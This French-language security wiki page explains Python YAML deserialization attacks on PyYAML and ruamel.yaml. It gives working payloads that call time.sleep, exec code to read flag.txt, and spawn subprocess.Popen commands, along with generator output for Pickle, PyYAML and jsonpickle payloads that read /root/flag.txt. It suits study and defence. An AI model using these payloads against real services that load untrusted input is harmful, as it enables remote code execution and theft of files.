# Python Yaml Deserialization

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## Yaml **Deserialization**

Les bibliothèques **Yaml** python sont également capables de **sérialiser des objets python** et pas seulement des données brutes :
```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Vérifiez comment le **tuple** n'est pas un type de données brut et donc il a été **sérialisé**. Et la même chose s'est produite avec le **range** (pris des builtins).

![](<../../images/image (1040).png>)

**safe_load()** ou **safe_load_all()** utilise SafeLoader et **ne prend pas en charge la désérialisation des objets de classe**. Exemple de désérialisation d'objet de classe :
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Le code précédent utilisait **unsafe_load** pour charger la classe python sérialisée. Cela est dû au fait qu'à partir de **la version >= 5.1**, il n'autorise pas à **désérialiser toute classe python sérialisée ou attribut de classe**, sans Loader spécifié dans load() ou Loader=SafeLoader.

### Exploit de base

Exemple sur comment **exécuter un sleep** :
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Vulnérable .load("\<content>") sans Loader

**Les anciennes versions** de pyyaml étaient vulnérables aux attaques de désérialisation si vous **ne spécifiez pas le Loader** lors du chargement de quelque chose : `yaml.load(data)`

Vous pouvez trouver la [**description de la vulnérabilité ici**](https://hackmd.io/@defund/HJZajCVlP)**.** L'**exploit** proposé sur cette page est :
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Ou vous pourriez également utiliser cette **ligne unique fournie par @ishaack** :
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}
```
Notez qu'**dans les versions récentes**, vous ne pouvez **plus appeler `.load()`** **sans un `Loader`** et le **`FullLoader`** **n'est plus vulnérable** à cette attaque.

## RCE

Des charges utiles personnalisées peuvent être créées en utilisant des modules Python YAML tels que **PyYAML** ou **ruamel.yaml**. Ces charges utiles peuvent exploiter des vulnérabilités dans des systèmes qui désérialisent des entrées non fiables sans une sanitation appropriée.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Outil pour créer des Payloads

L'outil [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) peut être utilisé pour générer des payloads de désérialisation python pour abuser de **Pickle, PyYAML, jsonpickle et ruamel.yaml :**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Références

- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

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